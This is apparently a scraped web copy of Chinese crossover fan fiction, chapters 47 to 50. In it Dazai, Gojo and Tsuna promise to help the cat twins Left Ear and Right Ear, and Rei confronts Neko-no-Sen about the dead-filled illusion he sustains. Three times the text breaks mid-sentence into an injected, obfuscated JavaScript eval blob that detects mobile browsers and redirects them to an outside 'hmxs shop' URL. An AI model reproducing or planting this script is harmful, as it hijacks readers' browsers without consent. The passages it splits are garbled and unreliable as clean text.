47.一切都有意义 手指着他,太宰用一种极具诱惑性的、像是在对外推销一样的语气说道:“如果你想求帮忙的人是大部分时候都不介意帮人一把的五条老师……” 大部分时候都不介意帮人一把的五条老师:“……” 好像是在夸我?还是不太对劲,再看看。 说完那半句后,太宰往左边走了两步,一只手伸到纲吉面前,“和这位心地善良的纲吉同学的话……” 心地善良的纲吉同学:“……” 超直感告诉他肯定哪里有问题,就是不知道问题出在哪里。 随后太宰的脸上扬起了一个亲和力满满的微笑,“说不定会更容易一点哦~” 等了两秒,见右耳没什么反应,太宰只好蔫了吧唧地摇了摇头(他注意到了五条悟和沢田纲吉两个人都在用奇怪的眼神瞅他,不过都被他当成了表演的背景板),收回伸出去的手。 下一刻,他将左手曲起,手掌支着下颌,右手垫在左手肘下,微微歪头,“我的话,不太好说呢。” “有一位品格优异的人曾经称呼我为恶魔和恶灵和穷神合体一般的家伙,”说这句话的时候,太宰的脸上是回想的表情,“由此可见一般。” “而且,”他没有感情地微笑着抬头,对右耳进行死亡注视,“本人其实很讨厌给自己找麻烦哦。” 纲吉:“……” 他终于知道哪里有问题了…… 太宰君你这不就是想把麻烦推给我们两个吗?!!一开始把话说得那么委婉,结果最后一句就直接图穷匕见了啊! 在太宰说出那番不太客气的话的过程中,右耳全程都没有做出任何类似羞怒或者尴尬的表情,反之,那双无神的眼睛随着太宰的话慢慢点亮,就像是一个被注入了燃料的火把。 最后一句话一出,双眼微微睁大的右耳脚步前移,迫不及待地靠近太宰,双手也向前挥舞着试图去抓他的手。 不过他一开始动作,就被眼尖的太宰发现,并及时来了一个小后跳躲开。 自从玲对他来了那一套后,太宰就一直防备着玲的其他族人也对他来这一套,他本来的重点监视对象是一看就单纯又热情的左耳来着,结果左耳没怎么着他,防备措施却贡献给右耳了。 顾不得其他,一心后撤的太宰却是差点撞到了五条悟的身上,他忘了五条悟就站在他身后了,幸好眼睛特别犀利的五条悟在太宰后撤的一瞬间也跟着往后移动了。 于是,他们两个还是保持着和刚刚一样的距离。 看着猫耳朵和猫尾巴一起炸毛的太宰,右耳的心里不由得升起了一阵歉意,他第一时间收回手,将之背在身后,“对不起。” “太宰,你已经知道我想说什么了?” “总不过是和左耳有关吧……”太宰说道。 右耳没说话,仅是默默地点了点头。 太宰笑了一下,“可能性的发展就那几种,此前玲的那些行为,就已经是在告诉我,她知道了自己不是真实的玲,想来,你和左耳应该也知道了这一点。” “你们表现得这么明显,也就只有猫之千那家伙明明知道却还是想要假装看不见了。” “在猫之千的记忆完全恢复的那一刻,你、左耳和玲三个人也在同时恢复了记忆,而且还知道了自己的本质,知道了这里只不过是由猫之千主导的一个,足以以假乱真的虚幻世界,你们是他记忆里的那个人……” 说到这里,太宰若有所思地看了右耳一眼,改口道:“不,也许不仅仅如此,你们的动作与常人无异,对其他人的话也能做出正常的反应,如果只是记忆中那个人的幻影,应该不会做出超出记忆所知范围的事情才对。” “也因此我一开始没有怀疑你们。” 现在的世界是虚幻世界这一点,他们见到那段记忆的方式是最明显的破绽,当时世界在他们眼前出现裂痕,整个碎掉了,那时他才基本确认这个世界是假的,真实的世界可不会给他们来这么一套特效。 而从一开始,在来到这个世界之前他听到的那几句旁白,已经让他对之后经历的一切产生了不小的怀疑,这其中,他从猫变成人类的时间日益减少,在他想来其实也是这个世界对他的一个隐晦的提示。 后来,出来记忆片段后,猫之千和其他知情猫的表现在某种程度上又佐证了他这一猜想。 至于为什么说是由猫之千主导,因为他的情绪明显能影响到这个世界的表现,在极度愤恨之下,那段他记忆中的世界竟然代替了原来的世界,展现在他们面前。 “猫之千是用何种方法做出如此伟业我还不得而知,但,归根结底,不管你们是什么,这个虚幻的世界不会延续太久。”太宰的目光飘向了空中,飘向了玲那个方向,变成了少年体形容凄惨的猫之千就在那里,“毕竟,它的延续是有其代价所在的。” “泡沫终究会有被戳破的那一刻,它飞得越高,戳破时也就越痛。”他轻轻地叹了口气。 “……而当那个代价不足以支付世界所需的时候,你们该何去何从,他又该何去何从?”说着他看向右耳,“所以,你现在求我帮忙,又有什么意义呢?” 右耳沉默了两秒,再抬起眼帘时,那双眼睛坚定无比,开口道:“有意义!我现在所做的一切一定都是有意义的。” “啊啊……”太宰单手拍在额上,“我都这么说了,为什么你还不放弃呢?” “因为这件事只有交给你我才最放心,太宰。” “到底为什么会对我抱有这么大的信任啊?”太宰撇了撇嘴,“我本来以为你会比左耳更聪明一点,没想到其实你也很单纯,竟然会相信一个没和你们相处过多久,你也根本不了解其本质的外人。” “贸贸然就将自己关心的重要事情托付给一个外人,这可不是一个聪明人该做的哦~” 右耳看了他很久,突然笑了,“刚过来找你的时候我的心里确实有着很多担忧,只是那个时候我找不到更好的人帮忙,但现在,我很庆幸我过来找你。” “你确实是一个值得我托付的人。” 太宰:“……” 到底哪里值得了?怎么越是拒绝他还越来劲了? “而且,你对我说了这么多,其实也代表着,并不是一点回旋的余地都没有对吧?”右耳嘴角上挑,露出一点夹杂着庆幸的高兴来,“如果真的不想答应我,你大可以直接拒绝或者找借口离开才是。” 他的思维还是和从前一样敏捷。 “而我,只是想给左耳……给我在这个世界上最在乎的兄弟留下一点希望、一个助力或者一点温暖……什么都好,我只是想给他留下点什么。” 右耳情不自禁地转头,望向远处小小一个的左耳,低声呢喃道:“即使……这只是万分之一的几率。” “……我没听错的话,”太宰也跟着望了过去,视线锁定在左耳模糊的影子上,“你认为左耳其实没死?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836757|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欸——?!!”纲吉惊呼了一声。 “为什么会这么认为?你有证据吗?”五条悟也来凑了个热闹。 在说这话之时,他从太宰的身后走了出来,站在他的右边。 这下,太宰是两大金刚并列,主公就在中间了。 “我没有证据,”右耳回过头来,坦然地看着对面三个面色各异的人,“只是一种直觉。” “在我看到的片段里,那个时候你们两个都是胸部中弹,血也流了一地,这种伤势足以致命……”五条悟摸了摸下巴,“即使有万分之一的可能没有打中要害,但这么严重的伤势,后续如果没有得到及时且合适的治疗,他还是活不下来。” “我相信我这对眼睛看到的一切。”五条悟指着自己的眼睛说道。 “照太宰所说,猫之千的那段记忆才是真实的历史,现在我们所经历的只是一个虚幻的片段,其实你们都是幻影,那么得到了真实记忆的你,如果真的认为左耳没有死,为什么你会没有证据?” “五条老师说得对,”纲吉接着说道,“再说了,如果他活了下来,猫之千不应该是这种态度,记忆恢复后,他看你和你弟弟的眼神如出一辙。” “要来打个赌吗?”右耳没有反驳他们俩的话,而是另起了一个话题。 “你想赌什么?”五条悟露出感兴趣的表情。 “太宰你也加入吗?”右耳默默地望向了太宰。 太宰左看看,右看看,所有人都在用同样的表情望着他,他撅起了嘴,低声嘟囔道:“为什么非得我来呢?” 为什么我非得摊入这趟一看就底很深的浑水呢? 为什么我不去明确地拒绝他呢? 为什么……此刻,即使右耳在用这种很浅显的计谋邀我入局,即使一眼看破了他的意图,我还是更倾向于答应他呢? 是因为当侦探久了,真的养出了追求真相和正义的爱好? 还是因为对他们的凄惨处境的怜悯? 或者,是因为这段时间和左耳他们的相处养出了一点微末的情谊? 左耳啊…… 明明他说要和我绝交的时候,我还在疑惑我们什么时候成了朋友呢。 这下子,岂不是自打脸? “好啊,你想赌什么?”太宰几乎是以一种纵容的语气说道。 “我赌左耳还活着,”右耳对他露出了一个心照不宣的微笑,“赌注是一个请求。” 依次对着其他人感激地点了点头,右耳说道:“我的请求是,如果左耳还活着,你们在外面见到他的时候,请帮他一把。” 他抬起头,看着天上翻滚的白云,眼底似乎也翻滚着些什么,“那家伙很天真,对待陌生人不设防,没有自保的念头,平时又总是习惯性地依赖我,我说他他也不改。” “以前不该纵容他的,可惜……现在后悔也晚了。” “我不在他的身边,他可能过得不会很好。”一缕淡淡的孤寂爬上了右耳的脸颊,不假思索地挑开他的假面,露出其中浓浓的阴翳也掩盖不了的痛苦,“一个猫活在这个残酷的世界上,不知道他会吃多少苦头。” 他看向太宰,“可我还是希望……希望他能晚一点、再晚一点、最好是已经老得走不动路,也咬不动小鱼干的时候……再来找我。” 太宰一怔,他这个时候才发现,右耳眼底最深处藏着的,原来…… 竟然是一缕如风中残烛般飘渺的希冀啊…… 48.打情骂俏 “就冲你这番话,”五条悟竖起大拇指,“如果遇到了,我会关照他的。” “我一定会帮他!”沢田纲吉几乎是和他同时说出这句话。 因为这份合拍性,两人默契地对视了一眼,互相给了对方一个微笑,下一刻,他们两一起把目光投向太宰。 “……欸?”在两人的无声催促中,太宰迟疑了一下,“我也要说吗?听着有点恶心欸。” “太宰君你真是太会破坏气氛了!”纲吉扶额。 五条悟不由分说地伸出手,先是捏了一把他还带着点婴儿肥的脸颊,然后扯着他的嘴角道:“快点说出来哦,要不然我把你的嘴巴捏成鸭子嘴。” “知道啦知道啦,我会做的啦,”太宰攥着他的手使劲往外拉,“五条老师这么对待未成年人,小心我去你们学校举报虐待哦!” 什么未成年人啊,你不是说自己是成年人吗?还是已经有了一份侦探工作的可悲社畜,尽管这么想,五条悟还是松开了手。 他还不知道,尽管同为可悲的社畜,太宰当的那种和他当的那种却是不可同日而语。 要说谁更可悲嘛,那当然是一天只能睡3个小时,不仅要准备教案帮助学生像个保姆一样带他们祓除咒灵,还要天南地北地被高层支使着去出任务,连顺道去买个喜欢吃的甜品都要计算着时间,抽空跑一趟的五条老师更可悲了。 虽然他本人对这份辛苦从不抱怨就是了。 太宰揉了揉自己的脸颊,满眼气愤地瞪了一眼五条悟,回头看右耳时却又变成了成熟大人专属款的游刃有余的表情,“是说我不打包票哦,左耳是不是和你说的一样还活着,我们会不会遇到他,什么时候会遇到他都是问题,但……” “我会帮忙的。”他露出了一个浅笑。 “这就够了,”右耳如释重负,九十度弯腰,很是郑重地对着他们鞠了一个躬,“谢谢你,谢谢你们……” 他一直在道谢,一直弯着腰,久久没有起来。 还是五条悟看不过去,扯着他的肩膀让他站直身体,“行了,你再这么道谢下去,天都要黑了。” 这边正说着话呢,左耳突然跑了过来,一边跑一边喊:“太宰,你看见右……” 话没说完,他一眼就瞧见了就站在太宰对面的右耳,立刻站住脚步,浑身怨气升腾,张牙舞爪地扑到了右耳的身上:“右耳原来你就在这里啊,我可是找了你好、久、哦!” 右耳看了他一眼,笑了。 “喂你在笑什么啊?”左耳鼓起脸,“我在生你的气欸?!” “没什么,”右耳拉着左耳的手,带着他走向猫之千所在的方向,另一只手背在身后,朝太宰他们挥了挥,“原来是有一件很重要很紧急的事情要做,不过现在,我已经做完了。” “太宰,五条先生,沢田君,我们先走了哦~”被他牵走之前,左耳只来得及回头对他们说这么一句。 说完后,他疑惑地看向右耳,“你有什么重要的事情会瞒着我?”一秒钟后,他甩了甩脑袋,道:“右耳你是在骗人吧?刚刚你是和太宰他们在一起,也就是说……” 左耳脸色微变,“喂太宰是我的朋友,不可以骗他哦!” “我怎么骗得了他啊,你忘了之前太宰在我们俩面前……” 声音逐渐远去,原地只剩下三个面面相觑的外来者。 “他们……”纲吉看着那两个人,一时之间不知道该说什么。 “别管了,”五条悟握着纲吉的肩膀,手动帮他转了个身,朝向太宰,他自己也看向太宰,“太宰,我们接下来要怎么办?” “猫之千停手的话,我们就可以从这个幻境里出去了吗?”顿了一秒后,五条悟的脸上浮现出一抹惆怅,“但是在看过那份记忆后,现在让我去打他一顿的话,我有点下不了手欸。” “谁让你去打他了?”太宰治翻了个白眼,“不要自说自话地就擅自给我们做下这种粗暴无脑的决定啦!” 五条悟摸了摸后脑勺,忽然笑了起来,他那句话其实只是在说他自己,但太宰好像自然而然地把他的决定也算作了自己的责任,我们……确实啊,在不知不觉中,他们似乎已经成为了可以一同分享责任和义务的同伴。 “唔,你能别笑得这么恶心吗?”太宰浑身过电般打了个哆嗦。 “你是不是对别人的善意过敏啊?”五条悟不干了,他收起笑容,一把捏向太宰的脸颊,被他一缩头躲开了。 “诶嘿,我就知道你会来这一招,”对方还得意地弯起了嘴角,“休想再次得逞~” “我这是在让着你啊,小~朋~友~” “谁是小朋友啊!” “那是谁刚刚还说自己要去学校举报我虐待未成年人来着?” “反正不是我。”太宰吹了一声口哨,视线移到了其他地方。 在两人说话的过程中,太宰身后那条竖起的尾巴渐渐落下,趁主人没注意到自己,一厘米一厘米挪到身前,左右探了探,往下移动到左边大腿部位,在上面缠了一圈。 找到好位置安置好自己后,那一点尾巴尖抬了起来,和着太宰说话的频率一点一点,仿佛在为他喝彩。 站在左边的纲吉无意中见到这一幕,眼睛都看直了,他抬起手,在眼睛上揉了揉,再次睁开时,尾巴尖竟然气势汹汹地指着他的方向。 “纲吉,你怎么了?”却是太宰注意到了他的动作,这一问又把五条悟的视线也吸引了过来。 在问出这个问题之前,太宰还朝底下看了一眼。 那一点尾巴尖在太宰看过去的那一刻骤然停下所有小动作,老老实实地扒在腿上,等太宰的视线一离开,它立刻蓬松了一圈,很是凶恶地对着纲吉左右摇了摇。 这一瞬间,沢田纲吉在脑海里想了很多很多,不过他所有想到的东西都以光都追不上的速度刺溜一下滑出了他的大脑皮层。 “没……没什么,刚刚眼睛突然进了沙子而已,”他用毕生的演技控制自己露出一个正常的表情,才没有惹得太宰的疑惑继续加深,“你们继续,你们继续。” “继续什么啊,五条老师,不要幼稚地在一些小事上计较啦,连善良的纲吉同学都看不下去了。” “太宰同学,颠倒黑白和倒打一耙都不是什么好习惯哦~” “哎呀我只是帮脸皮薄的纲吉同学说出了他心底不好意思说出来的话,才没有你说的那样。” 说不过他的五条悟转头开始向沢田纲吉寻求支持:“纲吉?” 纲吉:“……” 为什么你们打情骂俏……不是……为什么你们吵架忽然就拿我当筏子了?甚至连太宰君那根毛绒绒的猫尾巴都知道找我欺负,我很好欺负吗? 好吧,reborn曾经确实说过,他浑身上下每一处都散发着一股容易被欺负的老好人气场…… 想到这里,沢田纲吉禁不住泪洒大海。 ——诸事勿扰,本人失意体前屈中,有事请拨打110,可爱的帽子叔叔会帮助你们的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845616|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,他转念一想,至少这两个家伙吵架不像他的那些人形天灾守护者一样,不分时间不看场合,给他造成极大的财产损失还顺便留下一地烂摊子让他收拾,从这个方面来说,他们两吵架其实也挺……挺便宜的,极大地节省了成本,无论是时间成本还是金钱成本。 月月财政赤字什么的,他已经有点受够了。 在这一点上找到心理安慰,沢田纲吉坚强地振作起来,像个老母亲一样宽容地把叛逆孩子原谅:“你们随意,忽略我就好。” “你看,纲吉同学都不想理你啦~”太宰对站在旁边的五条悟做了个鬼脸。 “依我看,纲吉同学是不想理你才对。” 纲吉:“……” 你们这两个幼稚的家伙,其实我哪个都不想理。 这边两人又开始打打闹闹,那边独自走开的纲吉陷入了另一个烦恼:“猫之千好像不想停手,只是劝说他真的能行得通吗?” 不过片刻后,他的脸上闪过一抹坚定,“我还是想从这个世界出去,回到我该回去的地方,为此……” 剩下的话他没说出口。 无意间撇到他的神情,百忙之中还能抽出空来眼观六路耳听八方的太宰眉间闪过一丝犹豫,张了张嘴,最后还是没说什么。 就算猫之千停手,他们从这个虚幻的世界出去了,纲吉也不一定会回到他原本的世界,更可能…… 不过这种只能打击人信心的猜测,既然他并没有什么证据,那还是不要说出口了。 纲吉的问题,在现在这种程度下,只能靠他自己解决。但不管是否能解决,他都相信,这家伙并不是个会被轻易打倒的人。 和五条悟一样,太宰看向了拥有白发蒙眼这种奇异造型的高个子教师,他们两个,都是有韧性的人,所以,接下来会遇到的事情……他们应该都能接受吧? 太宰微微垂下眼,人生不如意之事十之八九,但站在这里的他们,即使接下来会遇到一些可能不会高兴的事情,却还是要比猫之千他们幸运得多。 “太宰?”五条悟唤了他一声,“你在想什么?怎么突然变得忧郁起来了?有点不像你啊。” “没什么,”太宰抬起头,笑了笑,“我只是在想,五条君和我吵架的时候,好像一下就变成三岁小孩了,果然还是要多让着你一点啊,三岁的五条君~” “尽会骗人,三岁的太宰君可从没有让过我一点。” “但我又想起,五条君的年纪比我大,应该是五条君让着我才对,所以——”特意等他说完才说出下半句的太宰挑了挑眉,意味深长地拉长了声音。 五条悟……五条悟无言以对。 他垂在底下的手指忍不住弹动起来——对这家伙,果然还是不应该接话,他在口头上就从没占到过上风,而是应该直接上手捏脸才对。 那张脸,他捏过一次,柔软又富有弹性,着实好捏。 仿佛心有灵犀一般,太宰警惕地捂住了自己的脸,鸢色的眼珠子转来转去,像只受到威胁的小狐狸一样上下左右来回扫视白发青年:“五条君,你好像在打什么危险的主意?” “哪有?”五条悟缓缓咧开嘴角,露出一个颇有反派风范的笑容,“我可是一个有口皆碑的好老师,从没有产生过对你不利的想法哦。” 太宰:“……” 此地无银三百两这个典故五条君你知道吗?你肯定不知道吧…… 还有啊,有口皆碑的好老师根本不会露出你这种恐怖笑容啊! 49.揭破假面 扯闲篇的时间一晃而过,太宰仰起头,望了一眼天空,此时的天空已经将近黄昏,天边布满了红彤彤的云朵。 在他们说话的这段时间里,其他人也没闲着,还能灵活动作的人收拾战斗现场,抓住一地昏迷的黑衣人,绑在一起,拖进猫之境里一个专门腾出来的空房间,临时充当牢房的地方。 剩下的有伤在身就先治疗伤势,有伤在身的还不在少数,他们纷纷跑去了专设的医疗室,这些猫妖这一股脑地涌进来,可把那个当值的白胡子老猫妖吓得够呛。 因为这些事,周围几乎没剩下几个人。 四处环顾一圈,太宰很快在稀疏的人群里找到自己要找的人,他看向斜前方,“我们现在差不多该去找猫之千了。” 斜前方大概百米处栽有一颗树身足有两人宽的橡树,橡树的周围也栽了很多树木,但都没有它那么高大,这一颗鹤立鸡群的树独享了大部分的阳光,橡树旁还有一条蜿蜒的小溪,流水潺潺,淙淙作响。 猫之千和玲面对面站在那颗大树下,两人面色严肃,嘴巴一张一合,似乎是在说着什么。 左耳和右耳也在那里,只不过他俩是双双蹲在溪边,离玲他们谈话的地点有一段不小的距离,并没有去掺和那两个人的谈话。这两个人一左一右蹲在那里,以同样的姿势盯着水面,眼神非常虔诚且认真,神似能够徒手抓鱼的专家级渔民。 走了大概五分钟,太宰一行人还没走到近前,玲的声音就远远传了过来:“一言不发地杵在我面前还不让我走,非常非常讨厌,你应该知道,我还有急事要做。” “让爱漂亮的女生穿着这一身破烂衣服等你说话,实在没品,你这一点也让我觉得非常非常讨厌,不过……” 太宰停下脚步,没有继续靠近,沢田纲吉和五条悟看了他一眼,再看了前方一眼,也会意地停下来。 “你那句道歉,我接受了。” 说这句的时候,站在树下的玲把玩着一片叶子,没有看站在她对面的猫之千,之后她很久都没有说话,猫之千不知为何也没有说话,两人陷入一阵无言的沉默。 他们似乎都沉浸在自己的情绪里,没有发现正在靠近的三人。 但在他们沉默的这段时间里,太宰并没有像他刚说的那样,继续靠近去打扰他们的谈话,尽管他有正当的理由。 “太宰?”停步不前的纲吉有点急了,但发出的声音却是下意识地放低了不少。 太宰在嘴前竖起一根食指,轻轻地嘘了一声。 没等纲吉做出反应,站在旁边的五条悟突然伸出双手,左右手一手一个,拎着纲吉和太宰两个人出现在旁边一颗不高不矮的树上。 成功且安全地在其中一根粗壮的树枝上着陆后,五条悟才放开手,顺便拍了拍手掌。 拎着两个人瞬移对他来说也是轻轻松松。 但猝不及防地被拎起来,还在眨眼之间被转换了个位置,出现在高空中的太宰可就不轻松了,这个意外让他心率陡然飙升。 清醒且及其突然地体会五条悟的带人瞬移技能,他还是第一次。 太宰:“……” 虽然知道五条君是个性格我行我素的人,但他也未免太自由了吧! 招呼都不打一声就对别人做出这种行为,幸亏他不是个有心脏病的人,要不然不得当场病发…… 他瞪了五条悟一眼,不过除了这一眼外,倒是没有多说什么。 在充分理解了自己身上发生的事情后,他的心率立刻平复下来,毕竟他并不恐高,接受意外的能力也强得可怕,甚至有时候他还会期待意外的发生。 试探着踩了踩脚下的树枝,树枝一晃不晃,看起来承载三个人也毫不费力的样子,确认脚下平稳后,太宰抬起手,抚平被五条悟弄皱的衣领,看了一眼周围的环境,随后在粗壮的树枝上走了几步,选了个能看见玲他们的好地方,坐了下来。 坐在树枝上的他,背部稍稍倚靠树干,双腿自由垂落在空中,透过树叶间的空隙,安静地望向前方。 五条悟完全没察觉到太宰为什么要瞪他,只把那当成太宰的日常猫咪行为之一,见太宰找了个位置坐下,便也跟着挪动几步,站到了他旁边,站好后还双手插兜,很自然地摆出了个帅气的pose。 和太宰收获同款待遇的纲吉也有很多想说的话,比如,五条老师这波操作是不是有点太熟练了? 好吧,其实他是想说,他不用被人拎着上来,他和体术不咋地的太宰君不一样,这么点高度,他可以自己上来的。 虽然刚刚他是表现得有点着急,但被太宰阻止后,他当时就已经冷静下来了,冷静下来后他也想到了,玲同学和猫之千之间像是有很重要的事情要解决,他们不应该在这个重要关头去打扰他们。 他们和猫之千之间的事情并不是非得马上解决不可,稍微等等也不是不行,本来最该着急的太宰君都能耐心地等待下去,他当然也可以。 但这一番纠结的话如果说出来就有点太矫情了,另外两个人一句话都没有问他欸,纲吉挨个瞟了两人一眼,最后无奈地挠了挠头,找了个离两人不远的地方自个儿站好。 三个人里的两个心里都有一堆不同的怨言想说,唯独那个没有怨言的始终高高兴兴,还有兴致摆pose,当真是天选之子…… 这边几人各自占好位置后不久,那边被他们围观的吃瓜现场终于开始有动作了。 只见沉默了很久的玲扔掉手里的橡树叶,抬起眼,目光和对面猫之千的视线正对上,深吸了一口气后开口:“……我也要向你说一声对不起。” 猫之千看起来有点意外。 没管他发生了什么表情变化,玲慢慢撇过头,视线对准斜上方的树叶,用一种冷淡的声音继续说道:“这么多年,我一直抱着……一种很极端的态度看你,把因为那件事受到的伤害无限扩大化,再加诸到你身上。” “不管面对什么人,我总会说你是个无能又自大的猫,相信你也听见了族里的流言吧,”玲吸了一口气,似乎感觉冷一样双臂环抱自己的身体,“那其实也有我的一份功劳……” 她自嘲地笑了一下,“是我一开始对别人说你学不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859927|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化形,后来他们才添油加醋地说你一辈子都学不会化形,随着你慢慢长大,一年又一年地,始终以那副布偶猫的样子出现,其他猫好像也渐渐相信了这个谣言。” “他们渐渐说,你连化形都学不会,肯定能力不行,传着传着,变成你胆小无能,变成你配不上少族长的位置。” “我知道你很不甘心,也知道你虽然在表面上装出一副不在意谣言的样子,其实私底下拼命去锻炼,去学习,可是不知道为什么你始终学不会化形。” “这一切我都知道,可是我从没说出去过,我也从没有……去帮你澄清谣言过。” “这些事情,其实我本来打算一辈子都不说出来的,”玲苦笑着摇了摇头,脸上的表情似哭又似笑,“我不想这么清楚地知道……知道自己原来是一个这么卑劣的猫。” “——如果你没有对我道歉的话。” 她骤然调转视线,冷冷地看向对面似乎有点不知所措的猫之千,“为什么你能那么轻易地将对不起说出口呢?” “我有无数次曾经想过要和你道歉,想要把我知道的一切都说出来,但……那一声对不起就像是哽在胸口的巨石,挪不动也搬不走。”玲抬手攥住胸口的衣服,手上青筋暴起,衣服被她揪出一个结,“我总是想着再等等,再等等,你都没有和我道歉,我为什么要和你道歉。” “可这其实不是一码事,我想做什么样的猫应该由自己决定,不应该受到你的影响。” “如果我想做一个正直诚实的猫,就应该把我了解的一切说出来。”她低下了头,“如果我想做一个冷漠自私的猫,就不应该始终对当初做过的那件事耿耿于怀。” “可我既没有说,也始终讨厌着你。” “到头来,我哪种都成不了。” 听到这里,猫之千终于忍不住开口了:“你……” “用不着你来怜悯我,我也不需要你的原谅,”玲打断了他,“从说出对不起的那一刻,我就决定了……以后我还是会继续讨厌你。” “你也应该继续讨厌我,”她决绝地说道,“已经过去这么多年了,我们之间的事情是无法用对不起这三个字一笔勾销的。” “可我不想讨厌你,”猫之千失落地低下头,喃喃道,“……也不会继续讨厌你。” “——那是因为,你已经在向前走了。” 这句话如同一道惊雷,在猫之千的头顶炸响,震得他一阵颤抖,让他不得不抬起头来。 “你说……什么?”他颤着嗓子问。 “你还要自欺欺人到什么时候去,猫之千?”玲毫不留情地当着他的面揭开了最后一片名为和谐的假面,“这里不是你的襁褓,更不该是你用来麻痹自己的安慰剂。” “我们已经没有未来了,这个世界里,每一个你想留下的猫,都没有未来了。” “不是,不是这样的,我们不是好好的待在这里吗?对了,还有明天、后天、庆典都还没有开始啊,你在说什么啊,不是……”猫之千语无伦次地辩解着。 “——可我们早就已经死了啊!” 50.死是什么? 猫之千张着嘴,却再也吐不出来一个字,他的脸上骤然失去了血色,仿佛被一把锋利的刀子直接插进了心脏。 而握着这把刀的正是玲,她毫不留情地强逼着他正视血淋淋的事实,直面那个自己其实已经是孤身一人的真相。 “我们早就死在那个战场上了。” “正因为我们早就死了,所以这个世界的我们再也无法继续向前,所以即使你和我说自己不会继续讨厌我,我也还是会讨厌你。” “而且,你是不是太看不起我们了?”玲扯着猫之千的衣领嚷道,“即使我和她是一个卑劣的猫,也绝不会允许自己踩在你的尸身上往前走。” “学会化形对你来说明明是一件好事,可我无法恭喜你,你看看你!”她提着猫之千疾步走到水边,强行按下他的头颅,对上清澈的水面,让他去看水面上倒映出来的影子,“你自己好好看看你现在的样子!” 头发灰白了一半,而且是那种即将枯萎,像是老年人会有,甚至比那更差的灰白色,发丝没有一点光泽,有气无力地耷拉在他的脑袋上。 脸色苍白得可以去参加死尸派对,身高缩水到一米五五左右,灰色的猫耳朵和猫尾巴掉毛严重,有的部位甚至一根毛都没有,露出底下布满斑驳的血肉。 一双蓝色眼睛爬满血丝,像是几天几夜都没有睡觉一样。 被她提在手中的那个人沉默地和自己的倒影对视,久久没有说话,他倒映在水面上的影子也没有什么表情变化。 玲的眉头越皱越高,攥着他领子的手鼓起几根青筋,闭了闭眼,她深吸了一口气,把他拖离水边,一只手提起来晃了晃,“一片叶子都比你重,明明应该化形成成年人,现在居然比我还矮。” “再这样下去,你也会死的!” “死……”一道轻飘飘的声音响起,语气轻松得如同在说自己想要一根棒棒糖,“死掉又没什么关系吧。” 猫之千终于开口,抬起的脸上,玲却看不见一丁点他对生的眷恋,有的只是黑色的,仿佛污泥一般的绝望,从黑洞洞的眼眶里溢了出来,纠缠住他的全身。 她不禁后退了一步,抓着他领子的手也在不知不觉间松开了。 如同洒下一片落叶,猫之千轻轻地坠到了地上,脚跟接触地面时却趔趄了一下,差点摔倒。 他摇晃着站稳身体,向前踏出重重的一步,直逼到玲的面前,眼睛直勾勾地盯着对方:“从你们都擅自死掉,只留下我一个的那一天开始,我就再也高兴不起来了。” “我独自一个猫迷茫地守在猫之境里,睁开眼睛是一片血红,闭上眼睛脑海里想到的都是你们战死的那一天,你们躺倒在地上的尸体,全都是血……” “我的心脏仿佛破了一个洞,所有快乐都从这里流出去了,到最后,连悲伤也变成麻木,只有……无尽的憎恨和痛苦永远留在那里,支撑着我活下去。” “但我不知道该恨谁,该恨那些入侵的人吗?可他们也死了,那该恨谁?想来想去,果然,最该恨的猫应该是我自己吧。” “因为我觉醒了和祖先一样的强大天赋,长老们说如果宣扬出去,也许可以让族长听到,也许就可以让他回来看看我……” 猫之千那两只蔚蓝的眼睛里,噗的一下突然燃起了一束幽幽的火苗,他似哭似笑地道:“我当时竟然同意了,哈哈……我何其愚蠢地同意了,我抱着也许可以见到父亲的天真想法同意了……” “所以那些敌人才会收到我们的信息,才会过来攻打我们……”他顿了一下,喃喃自语道,“不对,他们是来抓我的。” 时间似乎在此为他停顿了一秒。 咔哒一声后,猫之千脸上的表情逐渐褪去,最后变得像是一张空白的扑克牌,话语里也不含任何感情,“如果你们不抵抗,让我被抓走,也许他们就不会对付没有威胁的你们,你们也就不会……” “对啊,你们不抵抗就好了,”两点红光从他的眼里射了出来,“哈哈,”这两声干笑就像是从嗓子眼里抠出来的,他的面上慢慢地泛起了病态的潮红,“我怎么早没想到这么简单的方法呢?” 啪! 玲突然冲他的脸用力甩了一巴掌,“你在说什么胡话!” 猫之千的头被打得整个歪过去,脸上被打的地方慢慢浮现出一个鲜红的巴掌印。 “即使再来一百次,我们所有猫都不会眼睁睁地看着自己的同胞被抓走,不管来的是什么人!”玲怒目圆睁,大声吼道。 猫之千抬起手,捂着自己被打的半边脸,静默了片刻,慢慢看向玲,竟然让玲扬起来的手不自觉地颤抖起来。 